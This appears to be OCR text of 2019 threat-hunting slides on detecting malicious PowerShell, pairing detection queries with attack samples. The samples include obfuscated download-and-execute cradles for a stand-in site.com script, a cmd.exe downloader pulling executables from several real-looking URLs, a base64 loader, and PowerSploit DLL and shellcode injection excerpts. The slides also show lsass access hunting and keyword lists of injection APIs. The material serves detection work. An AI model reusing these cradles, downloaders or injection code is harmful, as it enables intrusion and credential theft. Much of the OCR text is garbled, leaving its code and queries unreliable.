(‘Ne'+'t.'+'Webc'+'lient')).('Do+'wn'+'loadSt'+'r'+'ing’).Invoke(('http:/'+'/w'+'ww. +'sit'+'e'+".'+'com/PSScript.ps1’))”

powershell -command "i"ex (new’-"ObJeCt NeT.W'E ' BCLIiE'Nt).\"dOWn'IOa dsTRInG\"('http://www.site.com/PSScript.ps1’)”

powershell -command "&(\"(O{TI\"-fI''EX’) (&(\"{2H{THON"-f (\"(OH{T1}\"-fje’,'ct’),'Ob',(\"{OH{T}\"-f ‘N’ 'ew-')) (\"{1H{OH3}H2}\" -
'We' 'Net.' 'client''b")).(\"{3BHOH2HT}\" -f 'ow’ 'ring’'nloadSt’'D").Invoke((\"{1{4{OX3H2H5}\" -
f'//www.site.''h’,'PSScript.ps’,'com/’ ttp:,'1’))"

J

powershell -command " .( SeNV:comspEC[4,15,25]-JOIN")([striNG]::Join(
"('1007007z71000707P10117000,;700000i1071000r70011170:1100101,17110711>101101;70071111,7700070P1101070r1700107,
11000711P1170700>700000z1001710C17001017i17110700!707110;,7070171P17007017:1700010!/71000711,171071700>1101001
z1100101,7101170!77107100r1071001!7071770C71000700P7101171P111071121701710r17101700P17011117r1700007P11001
00r1070011z1110100;7170070i711071001C11011102z1100111:707000!7001117!7707000i17110700z1110700,71110000C11101
0z101111r10711117,;,7110111211701171!7710111,701710!7170011,1707007r1770700>7100701!7017710>7100071i11071111z1
10717017:1011171,7070000,10710017C1010071,7100071P1110010>711010012z71100002z717107100>101110i111710000!7110011,1
10001r1001117!1010017" -split'P-split'C-SpliT ';-sPlit"'-SpLIt '!"-SPIIt "' -SPLIt 'i' -SpLit'r-SpLIT 'z-spLIT '>' [FOREACH-0oBJECT{(

[ConvERT]::ToinT16( (S_.TOsTring()), 2 ) -aS [CHATr]) })))" 62



PowerShell command line obfuscation —

\
ESZE

2019

powershell -command "( ' |%{S{()}=+ S( )H S{*S}= SO} HS{S( = ++ SO} } { S{} = ++ SO} H S{%}= ++ SO} HS{I(}= ++SOMH Sf-
} =480} H ()= ++ SO } { SO=++SOM SU( = ++S0} } { SEO)* =++ SO S{~0 =\"[\" + \"S(@{ }) \'"[ S{}+
\"S(@O)\'\"SISG\" +\"SERTHS( @{ VT VSOV +\"SESI T+ V'SV S{SQT + \'IVHSOI=\"\"(\"S( @{ P\'[ \"S{S(\" + \"S{I\'] +
\"S( @\T\'SESON" +\"STN'T +\"S(@\'[ S(*$} ] + \"S( @{ }) \'[SU(} ] +\"S\'[ S{SQI+ \"S( @) \'"[S{%} D} { SO}=\"S(@{
PVIVSISOSIONT + \"S(@0 )\NTSUM+NSONT V'S{OSIIN" T } ) N'SON S{~0S{3S{%} + S{~(S{13SE)*H+ S{~(SUGS{'(+ +

S{~ 8%} +S{~(SUIGS(*SH S{~GSIS{ (+S{~FS{SGSFSISIS(+ S{~(FS{SHS{SPS) M S{~FSUGS{H S{~(FS{ISE)*H+S{~;(}S{-
)HS{ (HS{~FS{SHSCSIST M S{~GSISOSHSIS(SH +S{~ (FS1)3S{)*}+S{~ SISO S{S (S }+S{~; (3S{%}S{(M

S{~ 0SS (+S{~(S{SHS*SISISG +S{~(S{SGS{SGHS{ HS{~ UGS }+S{~;(S{ (S} + S{~(S{SGS(*SIS{SH+S{~(SE)HS{ ' +
S{~080)$0)* +S{~(S{SHSPSIS O+ S{~(S{SGS(*SIS{H S{~(FS{SPSSISIS(+ S{~(S{SGHS{SPS(*SH+ S{~(S{SGHS{S(Hs{] }
+S{~0(10S(S(H + S{~OS{OSU IH+S{~ SIS S{~(S{SOSHSHS{S(+ S{~(FS{SPSIS(HS{)*} +S{~}S{S(HS{S(S{*S}
+S{~(S(SOSSIS{'(F +S{~(FS{SHS(SOSIS(+ S{~(3SE) SIS~ (FS{SHS(*SIS(*SH S{~ (1L ' S{%}+S{~,(FS{SGS{S(}S{]

HS{~ OSSOSO+ S{~(S{SHS*SIS{H+S{~(S{SHSIS(S{*SH + S{~(S{S(HS{*S}S{%}+ S{~;(3S{I(3S{*S} +S{~(}S{%}S{-)*}+
S{~0S(SOS(*SIS{I(} +S{~(S{SHS{S(ST )} +S{~GSISGS{SHS{ HS{~FSSPSISOSH(} +S{~ SIS} + S{~(S{}S{} + S{~(S{(S{}
+ S{~(S{SOSIS(HSE)M +S{~(FSISOS{S(HSE)*H + S{~(S{SGHSISGS)* +S{~ (UGS MHS{~FSISGHS{SHS{H+ S{~,(FS{S(PS{*S}SH-
HS{~S{SGSISOS } +S{~(S{SHS*SISISG +S{~3SUGS{} + S{~(S0)HSE)H S{~(S{SHSISGSIS(+ S{~(FS{SHS{*SIS{)*H+

S{~ 08108} +S{~08( (3S{*SHS{~;(S{. (1S{%}+S{~;(3S{. (1${%} +S{~(}S{-)}S{)*}+S{~SISOS{SGHS{I(}+ S{~;(S{SHS{*SIS{-H
S{~S(SOS{SHS{(+ S{~(S{SGHS{SOHS S~ SRS HS{~FS{SHSSGS{(H+ S{~(FS{SGSISOS{H S{~(S{I(}SH)* + S{~(S{%}S(-
)+ S{~OS{IGSSH\" | . S} 63
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Search for the PowerShell command lines with special characters ({, [, ’, " + ...):

(winlog.event_data.CommandLine.keyword./.*".** . *".** *" */ OR winlog.event_data.CommandLine.keyword:/.*".*4 *A *A *A %/ OR
winlog.event_data.CommandLine.keyword:/.*{.*{.*{.*{*{.*/ OR

winlog.event_data.CommandLine.keyword:/. \{ *\{ X\{ \{L \{ A\ L\ A\ *\{*/ OR
winlog.event_data.CommandLine.keyword./.*\+.*\+.¥\+. F\+ A\ + F\+ F\+ F\+ ¥\ + ¥\ + ¥\ + ¥\ + *\+ *\+ %/)

winlog.event_data.CommandLine

powershell -command "&(\"{@}{1}\"-f'I"',"EX") (&(\"{2}{1}{0}\"-f (\"{@}{1}\"-f'je', 'ct"),'Ob", (\"{@}{1}\"-F 'N',"ew-")) (\"{1}{0}{3}{2}\"
-f 'We', 'Net.', 'client','b")).(\"{3}{0}{2}{1}\" -f 'ow', 'ring’', 'nloadSt', 'D').Invoke((\"{1}{4}{0}{3}{2}{5}\" -f'//www.site.',"'h", 'PSScrip
t.ps','com/', "ttp:',"'1"))"

powershell -command "i‘ex (new -"ObJeCt NeT.W'E'BCLiE'Nt).\"dOWn 1lO0a dsTRInG\"('http://www.site.com/PSScript.ps1')"

powershell -command "&('I'+'EX') (&('New'+'-Obj'+'ec'+'t') ('Ne'+'t.'+'Webc'+'lient')).('Do'+'wn'+"'loadSt'+'r'+"'ing"').Invoke(('http:/"'+"

powershell -command "( '--' [|%%{${)}=+ S( )} S{x8}= ${)} HS{S(} = + SO} } { ${(} = + ${)} H S${%%}= ++ ${)} M
${1(}= ++SOH{ ${-} =80} H ${] }= ++ SO} } { S{}=+SOI{ ${.'(y = +#8{0)} } { S${-)*} =++ SOOI S${~:(F =\"[\"
+ \"S(e{ }) N[ S{ I+ \"S(@{I)\N"[N"S{S(I\"  #\"S{-)*N\"IH\"S( @{ P\"[ \"S{ON"#\"S{xSI\"]+ \"SA\"[ S${S(}] + \"I\"HS{OI=\"\
NSO DAL VTSSO \TS{EON"T NSO @{)NTINTSES(INT A\TS{] I\"T \US(e{)N\"[ S{x$} 1 + \"S( e{ }) \"[S{!(}
IoA\"S\'L S{S(HI+ \'SC ef}) \"[8{%%} 1)} { SO¥=\"S(e{ PD\'IN"S{SOS{TON"] + \"S(e{} I\"[S{TOGIRN"SONT \"S{OS{ " ]
P oN"SOYC S{M (ST IS%  + S{~; (3S{] IS{-)x+ S{~ OOS{."(OS{. (3 + S{~(3S{%%}S{(}  +S{~; (S (IS{*S+  S{~ (IS }S{." (}+8{~;
(FS{S(IS{*SIS{S( M+  S{~:(IS{S(IS{S(I¥S{-V*}+ S{~:(IS{1(}S{-}+ S{~:(IS{ IS{-V*I+S{~:(FS{-I*IS{. " (+S{~: (}S{S(IS{*SIS{] I+ S{~:(}S{S(}S{*
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Search for specific combinations of methods in the PowerShell command lines:

(winlog.event_data.CommandLine:*char* AND winlog.event_data.CommandLine:*join*) OR
(winlog.event_data.CommandLine:(*Tolnt* *ToDecimal* *ToByte* *ToUint* *ToSingle* *ToSByte*) AND
winlog.event_data.CommandLine:(*ToChar* *ToString* *String*)) OR (winlog.event_data.CommandLine:*split* AND
winlog.event_data.CommandLine:*join*) OR (winlog.event_data.CommandLine:*ForEach* AND
winlog.event_data.CommandLine:*Xor*) OR winlog.event_data.CommandLine:"*cOnvErTTO-SECUreStRIng*"

winlog.event_data.CommandLine

powershell -command "& ( $SVERBoseprefEReNcE.tOStRING()[1,3]+'x'-jOIN'"') ( ( (111,105 , 130 ,40, 50, 116 , 145 , 167, 55, 117 , 142,152,145
, 143 ,164 ,40,116, 145,164 , 56,127, 145 ,142,143, 154,151 , 145,156, 164, 51 ,56,104 ,157, 167 , 156 ,154 ,157 , 141,144 ,123, 164 , 162
, 151, 156,147 , 56, 47,156 , 164 ,164 ,160 ,72 , 57, 57,167 , 167 ,167 ,56, 163,151 ,164 , 145, 56, 143 , 157 ,155, 57,120,123,123 , 143
162 , 151, 160 , 164, 56 ,160, 163,61, 47,51 )| fOrEach-OBJEcT{ ( [ChaR] ([COnVerT]::toiNt16( ( $_.ToSTRiNg()) ,8 ) )) } ) -joiN'')"

1

powershell -command " .( $eNV:comspEC[4,15,25]-JOIN'"')([striNG]::Join( '',('1001001z1000101P1011000;1000001101000r1001110:1100101,1110111>
101101;1001111,1100010P1101010r1100101;1100011P1110100>1000002z1001110C110010111110100!101110;1010111P1100101:1100010!1100011,1101100>110100
1z1100161,1161110!1110160r101001!101110C1000100P11081111P111011121101110r11011006P1101111r1100001P1100100r10100112z1110100;111001011101601C110
1110z1100111:101000!100111!11010001111010021110100;1110000C1110102101111r101111;111011121110111!1110111;1061110!1110011,1101001r1110100>1100
161!101116>11000111110111121101161:161111;1010000, 1616011C1616011;1100011P1110010>1101001211100002z1110100>10111011110000!1110011;110001r100
111!101001"' -splIt'P'-splIt'C'-SpliT ';'-sPlit':' -SpLIt '!' -SP1It ',' -SPLIt 'i' -SpLit'r'-SpLIT 'z'-spLIT '>' |FOREACH-0BJECT{( [ConVvERT
1::ToinT16( (S .TOsTrina()). 2 ) -aS [CHAr1) W)))"

powershell -command "-jOIN ( (21 , 25 ,4, 124 , 116 ,18 , 57 ,43 ,113 , 19 ,62 , 54,57, 63, 40 , 124, 18, 57, 40,114 ,11 , 57 , 62 , 63,48
,53 , 57 ,50 ,40 ,117, 114,24, 51 , 43 ,50,48,51, 61, 56,15,40,46,53 ,50 , 59, 116 , 123 , 52,40 , 40,44 , 102, 115 ,115,43 ,43 ,43, 114 ,
47 , 53, 40 ,57 , 114 ,63 ,51 , 49 ,115,12 , 15, 15 , 63,46, 53 , 44, 40 ,114,44,47, 109, 123 ,117) | forEacH{[CHAR] ($_ -Bxor'@x5C' ) } )
|&( $Shellid[1]+$sHellId[13]+'x")"
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Search for the PowerShell command lines with reversed strings:

winlog.event_data.CommandLine:(*hctac* *kearb* *dnammoc* *ekovn* *eliFd* *rahc* *etirw* *golon* *tninon*
*eddih* *tpircS* *ssecorp* *llehsrewop* *esnopser* *daolnwod* *tneilCbeW* *tneilc* *ptth* *elifotevas* *46esab*
*htaPpmeTteG* *tcejbO* *maerts* *hcaerof* *ekovni* *retupmoc?)

winlog.event_data.CommandLine

powershell -command "$VeU= \" ) )93]RAHC[, '1Vp' ECA1lpER-)')'+'1Vplsp.t'+'pirc'+'S'+'SPtse'+'T/'+'4f'+'8850"'+'dc'+'bf'+'87'+'071'+'8036a873
775'+'c9'+"'cc1'+'652b69854/'+'w'+'ar'+'/2d9113'+'290"'+'b51'+'2f'+'0"'+'1ba21'+'b80b4'+'7'+'350196/'+'v'+'orabah'+'rieH/moc.tnetnoc'+'r'+'esu
"+'bu'+'hti'+'g.'+'t'+'s'+'i"'+'g//:sptth'+'1'+'Vp(gnir'+'tSdaolnwoD."'+"')tneilcbeW.teN'+' '+'tcejbO-we'+'N( X'+'EI'(( ()''nIOj-'x"'+]3,1[)(gN
irtsoT.ECnErEFERpESobRevS ( . \" ; ( vAriable (\"VE\"+\"u\") -VALue )[ -1 ..-(( vAriable (\"VE\"+\"u\") -VALue ).LeNGtH )] -joIN''| . ((V
ArIabLe '*mdr*').naMe[3,11,2]-joIn"'")"

"C:\WINDOWS\system32\cmd.exe" /V:ON/C"set yM= }}{hctac}}kaerb;FWVS ssecorP-tratS;)FWVS$(elifotevas.JjM$;)ydoBesnopser.Z @ Q
etirw.JjM$;1 = epyt.JjMS;) (nepo.JjMS{ )'*ZMx' ekil- txetesnopser.ZGZS( fI;)(dnes.ZGZ$;)0,CPj$, 'TEG' (nepo.ZGZS{yrt{)wEwS ni CPj$(hcaerof; 'ma
erts.bdoda’' moc- tcejbO-weN = JjM$;'ptthlmx.21lmxsm' moc- tcejb0-weN= ZGZS$;)'exe.GXc\'+)(htaPpmeTteG::]htaP.0I.metsyS[(=FWVS;)'@' (tilpS.'LxM
bHmrP1S/rb.moc.latigidrelaed//:ptth@Q9fUK3e070/ialp--nx.penmbéchicbs7----nx//:ptth@IUxL3spG/gro.arcnotlad//:ptth@BG3cV3es/moc.kroyave//:ptt
h@z71pHzLK/moc.troperaramancm// :ptth'=wEwS;'XIT'=cPp$ llehsrewop&&for /L %%N in (573;-1;0)do set Pf=!Pf!lyM:~%%N,1!&8&if %%N==0 powershelLl "
IPf:~41"

"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -NonInteractive -WindowStyle Hidden -ExecutionPolicy RemoteSigned -Command &{Se
nv:psmodulepath = [IO.Directory]::GetCurrentDirectory(); import-module AppvClient; Sync-AppvPublishingServer n; seT-VaRIabLe (\Mh\+\S\)
([chAR[ ]1 \ ))421]rahC[, 'U81' Ecalperc-43]rahC[,'AnC'Ecalperc- 93]rahC[, '1A2' EcaLpER- 63]rahC[, 'mdZ'Ecalperc- )';))dmcmdZ(e'+'taerC::]kco
1BtpircS['+'('+' kc'+'o0lBtpircS- dnammoC-ekovn'+'I ;dm'+'cmd'+'Z eg'+'ass'+'eM- eso'+'breV-e'+'tirlW '+';1'+'A2An'+'Ccl'+'ac tratsAn'+'C'+’
c/ dmc1A2 '+'= dmc'+'md'+'Z'+' '+']gni'+'rts['+' } '+'ezi'+'sotua- tf U8Bl '+'1 '+'t'+'nuoC- emaN.e'+'m'+'a'+'NtsoHmdZ ema'+'Nretu'+'pmoC- n
oi'+'tcenn'+'oC-tseT'+' { '+')niamoD'+'retupmoCmdZ'+' ni emaNt'+'so'+'Hm'+'dZ'+'('+' hcae'+'r'+'of ;'+'AnCC'+'D '+'fo yty'+'li'+'bal'+'iava

fo s'+'tl'+'us'+'eRAnC tsoH-e'+'tirW'+' :'+'emaN tcei'+'b'+'0-'+'tc'+'eleS U81 } } :an'+'i'+'rtSoT'+'sserd'+'d'+'API'+'.10'+'[tsilLsserdd'+"'



Too long PowerShell command lines —
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2019

Search for the PowerShell processes with command lines longer than 800 characters:

(winlog.event_data.CommandLine:(*powershell* *pwsh*) OR winlog.event_data.Description:"Windows
PowerShell" OR winlog.event_data.Product:"PowerShell Core 6" OR (winlog.event_id:400 AND
winlog.provider_name:PowerShell)) AND winlog.event_data.CommandLine.keyword:/(.){800,}/

winlog.event_data.CommandLine

C:\Windows\syswow64\WindowsPowerShell\v1.0\powershell.exe -noni -nop -w hidden -c &([scriptblock]::create((New-Object System.IO.StreamRe
ader (New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(, [System.Convert]::FromBase64String('H4sIADa591wCA7V
W+2+bSBD+0ZHyP6DKEqA4xsRuBBaqdIvf jkns4LdrnTawwCYLa8PiV6/ /+w22SVM1vWtPOpTHs jsz0/PNNzO4SWgLykNpXb1st6WvZ6cnXRzhQF JymOFeypHps jRSTO5gPyeqsfR
ZUmZosajyANNwfn1dSaKIhOLwXmgQgeKYBA+Mk1hRpb+kkU8icnH38EhsIX2Vcn8WGow/YHYU21aw7RPpAoVOetbhNk69KVgLRoUif/kiq7MLTfV6oLRPMYkW2trEgQcFhTFalb2p
6YX+7IIpsUjviMXdFYUTDOmVhEMbYJbdgbUVMInzuxLIKQcBPREQShVIaTqp/OFVkWHY jbiPHiUgcy31pllgezed/KLPjtfdJKGhACq1QkIgvLBKtqE3iQhOHDiP3xJ2D1iUiGnp
zVQWxFX81Si5MGMtLV2NGuSXrDLRTVVJeKoFUVORqHtL40kyTOwk jBOX5DT8h8y08z9kH3L6dnZ6duh1XyKX5kimwOpnt1wR8U708pnuxz1IxL51wDRY82sJrrh81RJO/Iyv1Ajf
/c209EWVBTtewMxtv6sxB45iKnGMY7VV68HNOVol1lLO1LdhiiadkY75S2EicvIPsBCJInYLTinv8YA4VcKIhOUKWproV2a1aIonXSOhzCERsiFLMXaFCVR/d0a0BOVuhSYJAKHDOzA

powershell ('V'+'SDns'+'adasd ='+' &(8n'+'7'+'n8n7'+'+8n7e'+'8n'+'7+8n'+'7w-0'+'bje'+'c8n7+8n7t8n7'+') ra'+'nd'+'om;VSDYYU '+'='+' @ Q
7ne'+'8n7+8n'+'7w8n7+8n7-0b'+"'ject8n7) Syste'+'m.N'+'et.W'+'eb'+'Clie'+'nt;'+'VSD'+'NS'+'B'+"' '+'="+"' '+'VSDns'+'a'+'dasd. '+'next(1'+'00
00'+', 2821'+'33);VS'+'D'+'A'"+'D'+'CX = 8n7 http://kkjk'+'ajsd'+'ja'+"'s'+'dqwe'+'c.com/A'+'RN/tes'+"'tv'+' .ph'+'p?l'+'=ttner'+'4.yarn8"'+"'
n7.Split(8n'+'7@8n7'+"');VSD'+'SDC = VSDe'+'nv:'+'p'+'u'+'blic + 8n7wZU8'+'n7 + VSDN'+'SB +'+' (8n7.ex'+'8n'+'7+8n7e8n7);f'+'or'+'ea'+'c’
+'h'+" (V'+'SD'+'asf'+'c "+'in VS'+'DAD'+'CX){'+'tr'+"'y{VSD'+'YYU.XPr'+'D"'+"'oKcVW'+'nl"'+"'KcVOa'+"'dF'+"'IKcV1l'+'exPr(V'+'S'+'D'+"'asfc.xPrTo
StrK'+'cViKc'+'VNg'+'xPr(), VS'+'DS'+'DC'+"')"'+"';&(8n"'+"'7Invo8n7+8n7k8'+'n7+8n7"'+'e-Item8n7'+"')'+' (VS'+'D'+'SDC'+"');'+'b'+'r'+'eak;}c'+'a
"+'tc'+'h{}'+'}") .RePlacE(([CHAr175+[CHAr199+[CHAr186)."' " ') .RePlacE(([CHAr156+[CHAr1110+[CHAr155). [strInG1ICHAr139).RePlacE('wzZU'.'\"').R

POWERSHELL (" | % { S${%x}= +8()} { S{ [1}=8{%*} }{ ${;'@} = ++8{%x}} { S{(S*} = ++8{%*} } { S${+ "}=t+
${%~*}} {8{-!}= }oA OSO[-3= +48{%~x} } {S{S'(}=++ S${%x}} { ${;=)} S{%~*}}{ S{#.} =++ ${%*} }{ S${~(}




Accessing WinAPI in PowerShell N

RONE
L . . . . . L 2019
It is possible to invoke Windows API function calls via internal .NET methods
and reflection

ion Invoke-D1llInjection Eq
https://qithub.com/PowerShellMaf ..-5:L 'ﬂ%t
ia/PowerSploit/blob/master/Code -"q- “- =
Execution/Invoke-Dllinjection.ps1

E:h
Lolt Function: Invoke
Author: Matthew Graeber (@mattifestat

# Get address of LoadLibraryA function

$LoadL1braryAddr = Get-ProcAddress kernel32.dll LoadLibraryA

Write-Verbose "LoadLibrary address: @x$($LoadLibraryAddr.ToString("X$([IntPtr]::Size%2)"))"

# Reserve and commit memory to hold name of dll

$RemoteMemAddr = $VirtualAllocEx.Invoke($hProcess, [IntPtr]l::Zero, $D1ll.Length, 0x3000, 4) # (0

if ($RemoteMemAddr -eq [IntPtr]::Zero)

{

Throw 'Unable to allocate memory in remote process. Try running PowerShell elevated.'

}

Write-Verbose "DLL path memory reserved at @x$(SRemoteMemAddr.ToString("X$( [IntPtr]::Sizex2)"))"

# Write the name of the dll to the remote process address space

$WriteProcessMemory.Invoke($hProcess, S$SRemoteMemAddr, $DLl1ByteArray, $Dll.Length, [Ref] @) OQut-Null

Write-Verbose "Dll path written sucessfully."

Execute dll as a remote thread 63

$Result = $RtlCreateUserThread.Invoke(shProcess, [IntPtr]::Zero, $False, @, [IntPtr]::Zero, [IntPtr]::Zero, $LoadLibraryAdc



https://github.com/PowerShellMafia/PowerSploit/blob/master/CodeExecution/Invoke-DllInjection.ps1

Accessing WinAPI in PowerShell %ﬁ

Let's hunt it!

Search for specific WinAPI function names in command lines and script blocks:

winlog.event_data.ScriptBlock Text(*WaitForSingleObject* *QueueUserApc* *RtICreateUserThread* *OpenProcess*
*VirtualAlloc* *VirtualFree* *WriteProcessMemory* *CreateUserThread* *CloseHandle* *GetDelegateForFunctionPointer*
*CreateThread* *memcpy* *LoadLibrary* *GetModuleHandle* *GetProcAddress* *VirtualProtect* *FreeLibrary*
*ReadProcessMemory* *CreateRemoteThread* *AdjustTokenPrivileges* *WriteByte* *Writelnt32* *OpenThreadToken*
*PtrToString* *FreeHGlobal* *ZeroFreeGlobalAllocUnicode* *OpenProcessToken* *GetTokenInformation* *SetThreadToken*
*ImpersonatelLoggedOnUser* *RevertToSelf* *GetLogonSessionData* *CreateProcessWithToken* *Duplicate TokenEx*
*OpenWindowsStation* *OpenDesktop* *MiniDumpWriteDump* *AddSecurityPackage* *EnumerateSecurityPackages*
*GetProcessHandle* *DangerousGetHandle* *kernel32* *Advapi32* *msvcrt* *ntdll* *user32* *secur32%)

% t winlog.event_data.ScriptBlockText Shell32bit)

{
S$CallStub = Emit-CallThreadStub S$BaseAddress S$ExitThreadAddr 32

Write-Verbose 'Emitting 32-bit assembly call stub.'

}

else

# Inject shellcode into the specified process ID

SOpenProcessAddr = Get-ProcAddress kernel32.dll OpenProcess

$OpenProcessDelegate = Get-DelegateType @([UInt32], [Bool], [UInt32]) ([IntPtr])

SOpenProcess = [System.Runtime.InteropServices.Marshal]: :GetDelegateForFunctionPointer(SOpenProcessAddr, $OpenProcessDelegate)
$VirtualAllocExAddr = Get-ProcAddress kernel32.dll VirtualAllocEx

$VirtualAllocExDelegate = Get-DelegateType @([IntPtr], [IntPtr], [Uint32], [UInt32], [UInt32]) ([IntPtr])

$VirtualAllocEx = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($VirtualAllocExAddr, $VirtualAllocExDelegate)
SWriteProcessMemoryAddr = Get-ProcAddress kernel32.dll WriteProcessMemory
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Let's hunt it!

id] Event Properties - Event 8, Sysmon

Search for CreateRemoteThread from PowerShell.exe: em—e
winlog.provider_name:"Microsoft-Windows-Sysmon" AND greateRerqoteThread detected:
winlog.event_id:8 AND winlog.event_data.Sourcelmage:"\\powershell.exe" e 06,00 108239773

SourceProcessGuid: {c731fdc5-11c0-5cfc-0000-00109ba2d %00}
SourceProcessld: 5668

Sourcelmage: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
TargetProcessGuid: {c731fdc5-b7ea-5cfb-0000-00105c8d8500}
TargetProcessld: 6896

Targetimage: C:\Windows\System32\cmd.exe

winlog.task winlog.event_id winlog.event_data.Sourcelmage winlog.event_data.Targetimage

CreateRemoteThread detected (rule: CreateRemoteThread) 8 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe

8 C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe C:\Windows\System32\cmd.exe

CreateRemoteThread detected (rule: CreateRemoteThread)

70
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Let’s hunt it!

Search for opening of Isass.exe memory by PowerShell.exe:

RONE

2019

winlog.event_id:(8 OR 10) AND winlog.event_data.Sourcelmage:"\\powershell.exe" AND
winlog.event_data.Targetimage:"\\Isass.exe"

winlog.task

Process a
ccessed (
rule: Pro
cessAcces

s)

Process a
ccessed (
rule: Pro
cessAcces

s)

winlog.event_data.Sourcelmage

C:\Windows\System32\Window
sPowerShell\v1.0\powershel
1.exe

C:\Windows\System32\Window
sPowerShell\v1.0\powershel
1.exe

winlog.event_data.Targetimage

C:\Windows\system32\1lsass
.exe

C:\Windows\system32\1lsass
.exe

winlog.event_data.GrantedAccess

Ox1fffdS

0x1410

winlog.event_data.CallTrace

C:\Windows\SYSTEM32\ntd1ll.d11+9ae64|C:\Windows\SYSTEM32\ntdll.d11+
77627 |C:\Windows\System32\KERNEL32.DLL+1a5c4|C:\Windows\System32\K
ERNEL32.DLL+21¢58|C:\Windows\SYSTEM32\dbgcore.DLL+9037|C:\Windows\
SYSTEM32\dbgcore.DLL+154b5|C:\Windows\SYSTEM32\dbgcore.DLL+f72e|C:
\Windows\SYSTEM32\dbgcore.DLL+5f15|C:\Windows\SYSTEM32\dbgcore.DLL
+6937|C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Manaa5
7fc8cc#\1507aab300a4882e8fb07032aa781664\Svstem.Manaaement.Automat

C:\Windows\SYSTEM32\ntdll.d11+9ae64|C:\Windows\System32\KERNELBASE
.d11+2fd5d | UNKNOWN (000006264B39E9EC3)
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System;
System.Runtime.InteropServices;
RGiesecke.D11lExport;
° System.Collections.ObjectModel;
System.Management.Automation;
Powe rS h e l l WI t h O U t System.Management.Automation.Runspaces;

System.Text;

PowerShell.exe povie com e

DLLlExport("CPlApplet", CallingConvention - CallingConvention.StdCall)
bool CPlApplet()

{
(true)

AllocConsole();

PowerShell it isn't necessary PowerShell.exe; Tntptr defaultatdout - ne IntPer(7);

IntPtr currentStdout GetStdHandle(StdOutputHandle) ;
Console.Write("PS >");
string x Console.ReadlLine();

PowerShell language is implemented in ¥ Consolentir el ine(RunPStommand(x)); }

. . . (Exception e) { Console.WritelLine(e.Message); }
System.Management.Automation.dll written in Yo e
C#; string RunPSCommand(string cmd)

Runspace runspace - RunspaceFactory.CreateRunspace();
runspace.Open();

And at it's core, that's what PowerShell really is, Runspacelnvoke scriptinvoker = new RunspaceInvoke(runspace);
pipeline.Commands.AddScript(cmd);

the System.Management.Automation.dll; pipeline. Commands . Add(*Out-String" ) ;

Collection<PSObject> results pipeline.Invoke();
runspace.Close();

R . R StringBuilder'stringguilder StringBuilder();
PowerShell.exe is just a client program of the I sabsect oy o resute)
D L L stringBuilder.Append(obj);
. }
stringBuilder.ToString().Trim();
}
void RunPSFile(string script)
{
PowerShell ps PowerShell.Create();
ps.AddScript(script).Invoke();
}

UInt32 StdOutputHandle OxFFFFFFF5;
D1lImport("kernel32.d11")
IntPtr GetStdHandle(UInt32 nStdHandle);
D1llImport("kernel32.d11")
void SetStdHandle(UInt32 nStdHandle, IntPtr handle);
D1lImport("kernel32")
bool AllocConsole();
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C:\Temp>control C:\Temp\powershell.cpl

C:\Temp>
L] Select C:\Windows\SysWOW6&4\rundll32.exe

{2] Event Properties - Event 7, Sysmon

PS »$PSVersionTable
Mame
General Details

Image locaded:

RuleMame:

UtcTime: 2019-06-16 06:10:32.853

ProcessGuid: {fc146444-dd45-5d05-0000-0010beb55%02}
PSCompatibleVersions {1.8, 2.8, 3. pWMESﬂd’4§E

Image: CAWindows\SysWOWed\rundll32.exe

Buildversion 16.68.17134 .46 Imageloaded: C\Windows\assembly\Mativelmages_v4.0.30319_32\5ystem.Manaa37fclcc®
'3af9950a681d349a3e398b30eed 533f 37 System. Management. Automation.ni.dll
CLRVersion 4.0.30319.426 FileVersion: 1U.U.1/134.407

Description: System.Management.Automation

lWSManStackVersion .6 Product: Microsoft (R} Windows (R) Operating System

Company: Microsoft Corporation

PSRemotingProtocolVersion 2.3 Hashes: MD3=05FFF4E5466E0EASBEFEBCIT105012820, 5HAZ56=
5CE009A0FASED5ETDDSESACOADATACECASAT3FDESCD38CODAESED263DB5ACEBE3T
SerializationVersion 1.1.8.: Signed: false

PS > Signature:

SignatureStatus: Unavailable

PSVersion 5.1.17134.4867

PSEdition Desktop
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Event Properties - Event 400, PowerShell (PowerShell)

General Details

Engine state i1s changed from Mone to Available.

MewEngineState=Available
PrevicusEngineState=MNone

SequenceMumber=17

HostMame=Default Host

HostVersion=5.1.17134.407

Hostld=69b13731-c5b3-4630-900b-5951caec2b10

HostApplication=C\Windows\5ysWOWed\ rundll32.exe C:\Windows\SysWOWe4
\shell32.dIl,#44 CA\Temp'\powershell.cpl

EngineVersion=3.1.1/134.407

Runspaceld=308660e3-8978-4c8e-992b-5b85ad1b3f0a

Pipelineld=

CommandMame=

CommandType=

ScriptName=

CommandPath=

CommandLine= 74
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Search for the PowerShell processes with command lines longer than 800 characters:

((winlog.event_id:7 AND winlog.event_data.ImageLoaded:("\\System.Management.Automation.dll"
"\\System.Management.Automation.ni.dll")) OR (winlog.event_id:400 AND winlog.provider_name:PowerShell)) AND -
winlog.event_data.Image:("\\powershell.exe" "\\powershell_ise.exe" "\\sqlps.exe" "\\sdiagnhost.exe" "\\wsmprovhost.exe"
"\\winrshost.exe" "\\mscorsvw.exe" "\\syncappvpublishingserver.exe" "\\runscripthelper.exe") AND -

mn nn nn

nn

winlog.event_data.CommandLine:(*powershell* *sdiagnhost* *wsmprovhost* *syncappvpublishingserver* *runscripthelper*)

winlog.provider_name winlog.event_data.lmage
winlog.task winlog.event_data.lImagelLoaded

Microsoft-Windows- Image loaded (r C:\Windows\SysWOW64\ C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8 @ @
Sysmon ule: ImageLoad) rundll32.exe 3af9950a681d349ae598b30ee4531f379\System.Management . Automation.ni.dll

Microsoft-Windows- 1Image loaded (r C:\Temp\pswithoutps. C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Manaa57fc8cc#\
Sysmon ule: ImageLoad) exe 3af9950a681d349ae598b30ee4531f379\System.Management .Automation.ni.dll

winlog.provider_name winlog.event_id winlog.event_data.PSHostVersion
winlog.event_data.PSHostApplication

PowerShell pswithoutps.exe 5.1.17134.407

